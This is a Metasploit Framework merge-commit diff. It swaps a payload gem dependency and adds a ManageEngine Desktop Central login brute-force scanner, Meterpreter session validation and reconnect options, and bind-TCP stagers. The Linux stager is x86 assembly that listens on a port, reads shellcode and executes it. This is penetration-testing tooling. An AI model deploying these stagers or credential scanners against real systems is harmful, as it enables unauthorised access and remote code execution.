Merge branch 'upstream' into staging/rails-4.0
Conflicts: Gemfile.lock
This commit is contained in:
commit
26e7fe15f9
|
@ -9,7 +9,7 @@ PATH
|
|||
json
|
||||
metasploit-concern (= 1.0.0.pre.rails.pre.4.0)
|
||||
metasploit-model (= 1.0.0.pre.rails.pre.4.0)
|
||||
meterpreter_bins (= 0.0.22)
|
||||
metasploit-payloads (= 0.0.3)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
|
@ -122,6 +122,7 @@ GEM
|
|||
metasploit-model (1.0.0.pre.rails.pre.4.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (0.0.3)
|
||||
metasploit_data_models (1.0.0.pre.rails.pre.4.0b)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
|
@ -132,7 +133,6 @@ GEM
|
|||
postgres_ext
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
recog (~> 1.0)
|
||||
meterpreter_bins (0.0.22)
|
||||
method_source (0.8.2)
|
||||
mime-types (2.4.3)
|
||||
mini_portile (0.6.2)
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,135 @@
|
|||
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
class ManageEngineDesktopCentral < HTTP
|
||||
|
||||
DEFAULT_PORT = 8020
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
|
||||
|
||||
|
||||
# Checks if the target is ManageEngine Dekstop Central.
|
||||
#
|
||||
# @return [Boolean] TrueClass if target is MSP, otherwise FalseClass
|
||||
def check_setup
|
||||
login_uri = normalize_uri("#{uri}/configurations.do")
|
||||
res = send_request({'uri' => login_uri})
|
||||
|
||||
if res && res.body.include?('ManageEngine Desktop Central')
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
# Returns the latest sid from MSP
|
||||
#
|
||||
# @param [Rex::Proto::Http::Response]
|
||||
# @return [String] The session ID for MSP
|
||||
def get_sid(res)
|
||||
cookies = res.get_cookies
|
||||
sid = cookies.scan(/(DCJSESSIONID=\w+);*/).flatten[0] || ''
|
||||
sid
|
||||
end
|
||||
|
||||
|
||||
|
||||
# Returns the hidden inputs
|
||||
#
|
||||
# @param [Rex::Proto::Http::Response]
|
||||
# @return [Hash] Input fields
|
||||
def get_hidden_inputs(res)
|
||||
found_inputs = {}
|
||||
res.body.scan(/(<input type="hidden" .+>)/).flatten.each do |input|
|
||||
name = input.scan(/name="(\w+)"/).flatten[0] || ''
|
||||
value = input.scan(/value="([\w\.\-]+)"/).flatten[0] || ''
|
||||
found_inputs[name] = value
|
||||
end
|
||||
found_inputs
|
||||
end
|
||||
|
||||
|
||||
# Returns all the items needed to login
|
||||
#
|
||||
# @return [Hash] Login items
|
||||
def get_required_login_items
|
||||
items = {}
|
||||
login_uri = normalize_uri("#{uri}/configurations.do")
|
||||
res = send_request({'uri' => login_uri})
|
||||
return items unless res
|
||||
items.merge!({'sid' => get_sid(res)})
|
||||
items.merge!(get_hidden_inputs(res))
|
||||
items
|
||||
end
|
||||
|
||||
|
||||
# Actually doing the login. Called by #attempt_login
|
||||
#
|
||||
# @param username [String] The username to try
|
||||
# @param password [String] The password to try
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body
|
||||
def get_login_state(username, password)
|
||||
login_uri = normalize_uri("#{uri}/j_security_check")
|
||||
login_items = get_required_login_items
|
||||
|
||||
res = send_request({
|
||||
'uri' => login_uri,
|
||||
'method' => 'POST',
|
||||
'cookie' => login_items['sid'],
|
||||
'vars_post' => {
|
||||
'j_username' => username,
|
||||
'j_password' => password,
|
||||
'Button' => 'Sign+in',
|
||||
'buildNum' => login_items['buildNum'],
|
||||
'clearCacheBuildNum' => login_items['clearCacheBuildNum']
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s}
|
||||
end
|
||||
|
||||
if res.code == 302
|
||||
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.to_s}
|
||||
end
|
||||
|
||||
{:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
|
||||
end
|
||||
|
||||
|
||||
# Attempts to login to MSP.
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: LOGIN_STATUS::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
begin
|
||||
result_opts.merge!(get_login_state(credential.public, credential.private))
|
||||
rescue ::Rex::ConnectionError => e
|
||||
# Something went wrong during login. 'e' knows what's up.
|
||||
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -527,6 +527,8 @@ class ReadableText
|
|||
indent = opts[:indent] || DefaultIndent
|
||||
col = opts[:col] || DefaultColumnWrap
|
||||
|
||||
return dump_sessions_verbose(framework, opts) if verbose
|
||||
|
||||
columns =
|
||||
[
|
||||
'Id',
|
||||
|
@ -535,9 +537,6 @@ class ReadableText
|
|||
'Connection'
|
||||
]
|
||||
|
||||
columns << 'Via' if verbose
|
||||
columns << 'PayloadId' if verbose
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Indent' => indent,
|
||||
'Header' => "Active sessions",
|
||||
|
@ -554,12 +553,7 @@ class ReadableText
|
|||
|
||||
row = [ session.sid.to_s, session.type.to_s, sinfo, session.tunnel_to_s + " (#{session.session_host})" ]
|
||||
if session.respond_to? :platform
|
||||
row[1] += " " + session.platform
|
||||
end
|
||||
|
||||
if verbose
|
||||
row << session.via_exploit.to_s
|
||||
row << session.payload_uuid.to_s
|
||||
row[1] << (" " + session.platform)
|
||||
end
|
||||
|
||||
tbl << row
|
||||
|
@ -568,6 +562,59 @@ class ReadableText
|
|||
return framework.sessions.length > 0 ? tbl.to_s : "#{tbl.header_to_s}No active sessions.\n"
|
||||
end
|
||||
|
||||
# Dumps the list of active sessions in verbose mode
|
||||
#
|
||||
# @param framework [Msf::Framework] the framework to dump.
|
||||
# @param opts [Hash] the options to dump with.
|
||||
# @option opts :session_ids [Array] the list of sessions to dump (no
|
||||
# effect).
|
||||
# @return [String] the formatted list of sessions.
|
||||
def self.dump_sessions_verbose(framework, opts={})
|
||||
ids = (opts[:session_ids] || framework.sessions.keys).sort
|
||||
|
||||
out = "Active sessions\n" +
|
||||
"===============\n\n"
|
||||
|
||||
if framework.sessions.length == 0
|
||||
out << "No active sessions.\n"
|
||||
return out
|
||||
end
|
||||
|
||||
framework.sessions.each_sorted do |k|
|
||||
session = framework.sessions[k]
|
||||
|
||||
sess_info = session.info.to_s
|
||||
sess_id = session.sid.to_s
|
||||
sess_tunnel = session.tunnel_to_s + " (#{session.session_host})"
|
||||
sess_via = session.via_exploit.to_s
|
||||
sess_type = session.type.to_s
|
||||
sess_uuid = session.payload_uuid.to_s
|
||||
sess_checkin = "<none>"
|
||||
sess_machine_id = session.machine_id.to_s
|
||||
|
||||
if session.respond_to? :platform
|
||||
sess_type << (" " + session.platform)
|
||||
end
|
||||
|
||||
if session.respond_to?(:last_checkin) && session.last_checkin
|
||||
sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}"
|
||||
end
|
||||
|
||||
out << " Session ID: #{sess_id}\n"
|
||||
out << " Type: #{sess_type}\n"
|
||||
out << " Info: #{sess_info}\n"
|
||||
out << " Tunnel: #{sess_tunnel}\n"
|
||||
out << " Via: #{sess_via}\n"
|
||||
out << " UUID: #{sess_uuid}\n"
|
||||
out << " MachineID: #{sess_machine_id}\n"
|
||||
out << " CheckIn: #{sess_checkin}\n"
|
||||
out << "\n"
|
||||
end
|
||||
|
||||
out << "\n"
|
||||
return out
|
||||
end
|
||||
|
||||
# Dumps the list of running jobs.
|
||||
#
|
||||
# @param framework [Msf::Framework] the framework.
|
||||
|
|
|
@ -255,9 +255,10 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
def kill
|
||||
begin
|
||||
cleanup_meterpreter
|
||||
self.sock.close
|
||||
self.sock.close if self.sock
|
||||
rescue ::Exception
|
||||
end
|
||||
# deregister will actually trigger another cleanup
|
||||
framework.sessions.deregister(self)
|
||||
end
|
||||
|
||||
|
@ -298,6 +299,24 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
console.disable_output = original
|
||||
end
|
||||
|
||||
#
|
||||
# Validate session information by checking for a machine_id response
|
||||
#
|
||||
def is_valid_session?(timeout=10)
|
||||
return true if self.machine_id
|
||||
|
||||
begin
|
||||
self.machine_id = self.core.machine_id(timeout)
|
||||
return true
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
# This meterpreter doesn't support core_machine_id
|
||||
return true
|
||||
rescue ::Exception => e
|
||||
dlog("Session #{self.sid} did not respond to validation request #{e.class}: #{e}")
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Populate the session information.
|
||||
#
|
||||
|
@ -448,6 +467,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
attr_accessor :binary_suffix
|
||||
attr_accessor :console # :nodoc:
|
||||
attr_accessor :skip_ssl
|
||||
attr_accessor :skip_cleanup
|
||||
attr_accessor :target_id
|
||||
|
||||
protected
|
||||
|
|
|
@ -12,11 +12,17 @@ module MeterpreterOptions
|
|||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]),
|
||||
OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]),
|
||||
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']),
|
||||
OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']),
|
||||
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
|
||||
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]),
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"])
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]),
|
||||
OptBool.new('StagerCloseListenSocket', [false, "Close the listen socket in the stager", false]),
|
||||
OptInt.new('SessionRetryTotal', [false, "Number of seconds try reconnecting for on network failure", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_TOTAL]),
|
||||
OptInt.new('SessionRetryWait', [false, "Number of seconds to wait between reconnect attempts", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_WAIT]),
|
||||
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', Rex::Post::Meterpreter::ClientCore::TIMEOUT_SESSION]),
|
||||
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', Rex::Post::Meterpreter::ClientCore::TIMEOUT_COMMS])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -35,43 +41,49 @@ module MeterpreterOptions
|
|||
|
||||
session.init_ui(self.user_input, self.user_output)
|
||||
|
||||
if (datastore['AutoLoadStdapi'] == true)
|
||||
valid = true
|
||||
|
||||
session.load_stdapi
|
||||
|
||||
if datastore['AutoSystemInfo']
|
||||
session.load_session_info
|
||||
if datastore['AutoVerifySession'] == true
|
||||
if not session.is_valid_session?
|
||||
print_error("Meterpreter session #{session.sid} is not valid and will be closed")
|
||||
valid = false
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
admin = false
|
||||
begin
|
||||
::Timeout.timeout(30) do
|
||||
if session.railgun and session.railgun.shell32.IsUserAnAdmin()["return"] == true
|
||||
admin = true
|
||||
session.info += " (ADMIN)"
|
||||
end
|
||||
if valid
|
||||
|
||||
if datastore['AutoLoadStdapi'] == true
|
||||
|
||||
session.load_stdapi
|
||||
|
||||
if datastore['AutoSystemInfo']
|
||||
session.load_session_info
|
||||
end
|
||||
|
||||
if session.platform =~ /win32|win64/i
|
||||
session.load_priv rescue nil
|
||||
end
|
||||
rescue ::Exception
|
||||
end
|
||||
=end
|
||||
if session.platform =~ /win32|win64/i
|
||||
session.load_priv rescue nil
|
||||
|
||||
if session.platform =~ /android/i
|
||||
if datastore['AutoLoadAndroid']
|
||||
session.load_android
|
||||
end
|
||||
end
|
||||
|
||||
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
||||
if (datastore[key].empty? == false)
|
||||
args = Shellwords.shellwords( datastore[key] )
|
||||
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
||||
session.execute_script(args.shift, *args)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if session.platform =~ /android/i
|
||||
if datastore['AutoLoadAndroid']
|
||||
session.load_android
|
||||
end
|
||||
end
|
||||
|
||||
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
||||
if (datastore[key].empty? == false)
|
||||
args = Shellwords.shellwords( datastore[key] )
|
||||
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
||||
session.execute_script(args.shift, *args)
|
||||
end
|
||||
# Terminate the session without cleanup if it did not validate
|
||||
if not valid
|
||||
session.skip_cleanup = true
|
||||
session.kill
|
||||
end
|
||||
|
||||
}
|
||||
|
|
|
@ -141,12 +141,21 @@ module BindTcp
|
|||
# Increment the has connection counter
|
||||
self.pending_connections += 1
|
||||
|
||||
# Timeout and datastore options need to be passed through to the client
|
||||
opts = {
|
||||
:datastore => datastore,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
# Start a new thread and pass the client connection
|
||||
# as the input and output pipe. Client's are expected
|
||||
# to implement the Stream interface.
|
||||
conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy|
|
||||
begin
|
||||
handle_connection(wrap_aes_socket(client_copy), { datastore: datastore })
|
||||
handle_connection(wrap_aes_socket(client_copy), opts)
|
||||
rescue
|
||||
elog("Exception raised from BindTcp.handle_connection: #{$!}")
|
||||
end
|
||||
|
|
|
@ -250,7 +250,7 @@ module ReverseHopHttp
|
|||
#
|
||||
# Patch options into the payload
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
|
@ -260,7 +260,7 @@ module ReverseHopHttp
|
|||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass']
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
|
||||
blob = encode_stage(blob)
|
||||
|
||||
|
|
|
@ -52,8 +52,6 @@ module ReverseHttp
|
|||
register_advanced_options(
|
||||
[
|
||||
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
|
||||
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', (24*3600*7)]),
|
||||
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300]),
|
||||
OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]),
|
||||
OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]),
|
||||
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
|
||||
|
@ -283,6 +281,8 @@ protected
|
|||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
|
@ -312,6 +312,8 @@ protected
|
|||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
|
@ -330,17 +332,19 @@ protected
|
|||
# Patch options into the payload
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
|
||||
resp.body = encode_stage(blob)
|
||||
|
||||
|
@ -351,6 +355,8 @@ protected
|
|||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
|
@ -366,8 +372,13 @@ protected
|
|||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => payload_uri(req) + conn_id + "/\x00",
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
# TODO ### Figure out what to do with these options given that the payload ###
|
||||
# settings might not match the handler, should we instead read the remote? #
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i, #
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i, #
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i, #
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i, #
|
||||
##############################################################################
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
|
|
|
@ -58,6 +58,8 @@ module Handler::ReverseHttp::Stageless
|
|||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
|
|
|
@ -169,12 +169,21 @@ module ReverseTcp
|
|||
break
|
||||
end
|
||||
|
||||
# Timeout and datastore options need to be passed through to the client
|
||||
opts = {
|
||||
:datastore => datastore,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
if datastore['ReverseListenerThreaded']
|
||||
self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy|
|
||||
handle_connection(wrap_aes_socket(client_copy), { datastore: datastore })
|
||||
handle_connection(wrap_aes_socket(client_copy), opts)
|
||||
}
|
||||
else
|
||||
handle_connection(wrap_aes_socket(client), { datastore: datastore })
|
||||
handle_connection(wrap_aes_socket(client), opts)
|
||||
end
|
||||
rescue ::Exception
|
||||
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
|
||||
|
|
|
@ -100,13 +100,13 @@ class Msf::Module::SiteReference < Msf::Module::Reference
|
|||
elsif (in_ctx_id == 'CVE')
|
||||
self.site = "http://cvedetails.com/cve/#{in_ctx_val}/"
|
||||
elsif (in_ctx_id == 'CWE')
|
||||
self.site = "http://cwe.mitre.org/data/definitions/#{in_ctx_val}.html"
|
||||
self.site = "https://cwe.mitre.org/data/definitions/#{in_ctx_val}.html"
|
||||
elsif (in_ctx_id == 'BID')
|
||||
self.site = "http://www.securityfocus.com/bid/#{in_ctx_val}"
|
||||
elsif (in_ctx_id == 'MSB')
|
||||
self.site = "http://technet.microsoft.com/en-us/security/bulletin/#{in_ctx_val}"
|
||||
elsif (in_ctx_id == 'EDB')
|
||||
self.site = "http://www.exploit-db.com/exploits/#{in_ctx_val}"
|
||||
self.site = "https://www.exploit-db.com/exploits/#{in_ctx_val}"
|
||||
elsif (in_ctx_id == 'US-CERT-VU')
|
||||
self.site = "http://www.kb.cert.org/vuls/id/#{in_ctx_val}"
|
||||
elsif (in_ctx_id == 'ZDI')
|
||||
|
|
|
@ -0,0 +1,178 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex bindtcp payload generation for Linux ARCH_X86
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Linux::BindTcp
|
||||
|
||||
include Msf::Payload::Linux
|
||||
|
||||
def close_listen_socket
|
||||
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_bind_tcp(
|
||||
port: datastore['LPORT'],
|
||||
close_socket: close_listen_socket
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
close_socket: close_listen_socket,
|
||||
reliable: true
|
||||
}
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_bind_tcp(opts={})
|
||||
asm = asm_bind_tcp(opts)
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||
space += 14
|
||||
|
||||
# Adding 6 bytes to the payload when we include the closing of the listen
|
||||
# socket
|
||||
space += 6 if close_listen_socket
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_bind_tcp(opts={})
|
||||
|
||||
#reliable = opts[:reliable]
|
||||
close_socket = opts[:close_socket]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
bind_tcp:
|
||||
push 0x7d ; mprotect syscall
|
||||
pop eax
|
||||
cdq
|
||||
mov dl,0x7
|
||||
mov ecx,0x1000
|
||||
mov ebx,esp
|
||||
and bx,0xf000
|
||||
int 0x80 ; invoke mprotect
|
||||
xor ebx,ebx
|
||||
mul ebx
|
||||
push ebx ; PROTO
|
||||
inc ebx ; SYS_SOCKET and SOCK_STREAM
|
||||
push ebx
|
||||
push 0x2 ; SYS_BIND and AF_INET
|
||||
mov ecx,esp
|
||||
mov al,0x66 ; socketcall syscall
|
||||
int 0x80 ; invoke socketcall (SYS_SOCKET)
|
||||
^
|
||||
|
||||
unless close_socket
|
||||
asm << %Q^
|
||||
; set the SO_REUSEADDR flag on the socket
|
||||
push ecx
|
||||
push 4
|
||||
push esp
|
||||
push 2
|
||||
push 1
|
||||
push eax
|
||||
xchg eax,edi ; stash the socket handle
|
||||
mov ecx, esp
|
||||
push 0xe ; SYS_SETSOCKOPT
|
||||
pop ebx
|
||||
push 0x66 ; socketcall syscall
|
||||
pop eax
|
||||
int 0x80
|
||||
xchg eax,edi ; restore the socket handle
|
||||
add esp, 0x14
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
pop ebx
|
||||
pop esi
|
||||
push edx
|
||||
push #{encoded_port}
|
||||
push 0x10
|
||||
push ecx
|
||||
push eax
|
||||
mov ecx,esp
|
||||
push 0x66 ; socketcall syscall
|
||||
pop eax
|
||||
int 0x80 ; invoke socketcall (SYS_BIND)
|
||||
shl ebx,1 ; SYS_LISTEN
|
||||
mov al,0x66 ; socketcall syscall (SYS_LISTEN)
|
||||
int 0x80 ; invoke socketcall
|
||||
^
|
||||
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
push eax ; stash the listen socket
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
inc ebx ; SYS_ACCEPT
|
||||
mov al,0x66 ; socketcall syscall
|
||||
mov [ecx+0x4],edx
|
||||
int 0x80 ; invoke socketcall (SYS_ACCEPT)
|
||||
xchg eax,ebx
|
||||
mov dh,0xc ; at least 0x0c00 bytes
|
||||
mov al,0x3 ; read syscall
|
||||
int 0x80 ; invoke read
|
||||
xchg ebx,edi ; stash the accept socket in edi
|
||||
^
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
pop ebx ; restore the listen socket
|
||||
mov al,0x6 ; close syscall
|
||||
int 0x80 ; invoke close
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
jmp ecx ; jump to the payload
|
||||
^
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,263 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex bindtcp payload generation for Windows ARCH_X86
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::BindTcp
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
||||
def close_listen_socket
|
||||
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_bind_tcp(
|
||||
port: datastore['LPORT'].to_i,
|
||||
close_socket: close_listen_socket
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
port: datastore['LPORT'].to_i,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
close_socket: close_listen_socket,
|
||||
reliable: true
|
||||
}
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_bind_tcp(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_bind_tcp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
# TODO: need help with this from the likes of HD.
|
||||
space = 277
|
||||
|
||||
